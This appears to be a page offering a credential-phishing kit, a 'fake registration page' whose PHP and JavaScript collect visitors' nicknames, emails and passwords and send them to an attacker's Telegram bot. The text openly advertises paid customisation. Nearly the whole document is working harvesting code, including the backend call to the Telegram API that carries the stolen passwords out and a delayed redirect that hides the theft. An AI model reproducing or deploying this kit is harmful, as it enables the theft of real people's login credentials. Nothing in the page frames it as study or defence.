Skip to content

Registration and sending data to telegram


Fake registration page.
After entering the data, they are sent to a bot in Telegram.
You need to create a bot and specify its data in the config.

Want to redesign the code to suit your needs? Write to the administrator and for 10$ you will customize the script for your needs.

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $step = $_POST['step'] ?? '';
    $data = json_decode($_POST['data'] ?? '{}', true);

    if ($step === 'send_to_tg') {
        $botToken = 'API'; // API bot <------------
        $chatId = 'ID';  // ID Chat   <------------

        $message = "New registration:\n" .
                   "Nick: " . htmlspecialchars($data['nick']) . "\n" .
                   "Email: " . htmlspecialchars($data['email']) . "\n" .
                   "Password: " . htmlspecialchars($data['password']) . "\n" .
                   "Browser Language: " . htmlspecialchars($data['browserLanguage']);

        $url = "https://api.telegram.org/bot$botToken/sendMessage";
        $payload = [
            'chat_id' => $chatId,
            'text' => $message,
        ];

        $options = [
            'http' => [
                'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
                'method'  => 'POST',
                'content' => http_build_query($payload),
            ],
        ];
        $context = stream_context_create($options);
        $result = @file_get_contents($url, false, $context);

        if ($result === false) {
            echo json_encode(['success' => false, 'error' => 'Telegram API error.']);
        } else {
            echo json_encode(['success' => true]);
        }
        exit;
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Registration</title>
    <link rel="icon" href="images/favicon.ico" type="image/x-icon">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css" rel="stylesheet">
    <style>
        body {
            font-family: 'Arial', sans-serif;
            background-color: #f4f7fa;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .form-container {
            background: #ffffff;
            padding: 30px;
            border-radius: 12px;
            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 420px;
            text-align: center;
            box-sizing: border-box;
        }
        .form-container .form-icon {
            font-size: 50px;
            color: #007bff;
            margin-bottom: 15px;
        }
        .form-container h2 {
            margin-bottom: 20px;
            font-size: 28px;
            color: #333;
        }
        .input-container {
            position: relative;
            margin-bottom: 15px;
        }
        .input-container input {
            width: 100%;
            padding: 14px;
            padding-left: 40px;
            padding-right: 40px;
            border: 1px solid #ccc;
            border-radius: 8px;
            font-size: 16px;
            box-sizing: border-box;
            background-color: #f7f7f7;
        }
        .input-container .input-icon {
            position: absolute;
            left: 14px;
            top: 50%;
            transform: translateY(-50%);
            color: #888;
        }
        .input-container .toggle-password {
            position: absolute;
            right: 14px;
            top: 50%;
            transform: translateY(-50%);
            cursor: pointer;
            color: #888;
        }
        .form-container button {
            padding: 14px 20px;
            background-color: #007bff;
            color: #fff;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-size: 16px;
            width: 100%;
            transition: background-color 0.3s ease;
        }
        .form-container button:hover {
            background-color: #0056b3;
        }
        .loading {
            display: none;
            text-align: center;
        }
        .loading i {
            font-size: 32px;
            color: #007bff;
            margin-bottom: 10px;
        }
        .loading p {
            font-size: 18px;
            color: #333;
        }
    </style>
</head>
<body>
    <div class="form-container" id="form-container">
        <i class="fas fa-envelope form-icon"></i>
        <h2>Registration</h2>
        <form id="registration-form">
            <div class="input-container">
                <i class="fas fa-user input-icon"></i>
                <input type="text" id="nickname" placeholder="Enter your nickname" required>
            </div>
            <div class="input-container">
                <i class="fas fa-envelope input-icon"></i>
                <input type="email" id="email" placeholder="Enter your email" required>
            </div>
            <div class="input-container">
                <i class="fas fa-lock input-icon"></i>
                <input type="password" id="password" placeholder="Enter your password" required>
                <i class="fas fa-eye toggle-password"></i>
            </div>
            <div class="input-container">
                <i class="fas fa-lock input-icon"></i>
                <input type="password" id="confirm-password" placeholder="Confirm your password" required>
                <i class="fas fa-eye toggle-password"></i>
            </div>
            <button type="submit">Register</button>
        </form>
    </div>
    <div class="loading" id="loading">
        <i class="fas fa-spinner fa-spin"></i>
        <p>Processing your registration...</p>
    </div>

    <script>
        document.querySelectorAll('.toggle-password').forEach((toggle) => {
            toggle.addEventListener('click', () => {
                const input = toggle.previousElementSibling;
                const type = input.getAttribute('type') === 'password' ? 'text' : 'password';
                input.setAttribute('type', type);
                toggle.classList.toggle('fa-eye-slash', type === 'text');
                toggle.classList.toggle('fa-eye', type === 'password');
            });
        });

        const form = document.getElementById('registration-form');
        const formContainer = document.getElementById('form-container');
        const loading = document.getElementById('loading');

        form.addEventListener('submit', async (e) => {
            e.preventDefault();
            const nickname = document.getElementById('nickname').value.trim();
            const email = document.getElementById('email').value.trim();
            const password = document.getElementById('password').value.trim();
            const confirmPassword = document.getElementById('confirm-password').value.trim();

            if (password !== confirmPassword) {
                alert('Passwords do not match. Please try again.');
                return;
            }

            const data = {
                nick: nickname,
                email: email,
                password: password,
                browserLanguage: navigator.language || navigator.userLanguage,
            };

            const formData = new FormData();
            formData.append('step', 'send_to_tg');
            formData.append('data', JSON.stringify(data));

            formContainer.style.display = 'none';
            loading.style.display = 'block';

            try {
                const response = await fetch('', {
                    method: 'POST',
                    body: formData,
                });

                const result = await response.json();
                if (result.success) {
                    setTimeout(() => {
                        window.location.href = 'success.html';
                    }, 7000);
                } else {
                    alert('An error occurred. Please try again.');
                }
            } catch (error) {
                alert('Network error. Please check your connection and try again.');
            }
        });
    </script>
</body>
</html>